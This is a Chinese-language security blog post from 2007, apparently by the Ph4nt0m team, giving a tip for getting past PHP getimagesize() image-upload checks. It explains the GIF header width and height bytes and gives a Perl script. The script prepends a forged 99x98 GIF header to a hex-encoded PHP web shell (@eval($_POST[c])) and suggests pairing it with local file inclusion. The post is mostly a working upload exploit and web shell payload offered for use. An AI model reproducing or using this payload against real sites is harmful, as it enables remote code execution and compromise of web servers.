Skip navigation.

exploreopera

| Help

Sign up | Help

幻影旅团

Ph4nt0m Security Team

avatar

[Tips]Bypass getimagesize()

by Superhei@ph4nt0m
2007-04-12
http://www.ph4nt0m.org


很多php代码都用getimagesize()来判断你上传文件是不是图片,很多人在黑盒测试都会使用在php代码前加个GIF89a来绕过这样的代码:
if(getimagesize($file)){
    print yes;
  }else{
    print no;
}


但是有很多的情况还有其他的限制,比如分辨率n x n 如以下代码:
if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
    if ($size['0'] > 100 || $size['1'] > 100) {
        unlink(IMAGES."avatars/".$avatarname);
        $set_avatar = "";


先看看gif文件头:
00000000h: 47 49 46 38 39 61   AB 02      E5 03     B3 00 00 00 80 00 ; GIF89a???..€. 
           G  I  F  8  9  a  $size['0'] $size['1']
$size['0']x$size['1'] = [AB 02]683 x [E5 03]997


perl代码:
#!/usr/bin/perl
#The Script could pass getimagesize()

#gif size: 99x98 pixels
$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a
         "\x63\x00".#99
         "\x62\x00";#98

$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#<?php @eval

($_POST[c])?>

print $gifhead.$phpcode;



应该说getimagesize只是一部分检测 这样要和其他漏洞配合,比如本地包含 一般上穿严格限制了文类型 还用getimagesize判断是不是图片 。
比如:http://www.4ngel.net/article/57.htm

幻影论坛重新上线Windows DNS RPC Remote Code Execution Vulnerability

Write a comment

Comment
(BBcode and HTML is turned off for anonymous user comments.)

Please type this security code : 0f9e13

Smilies

October 2008
SMTWTFS
September 2008November 2008
1234
567891011
12131415161718
19202122232425
262728293031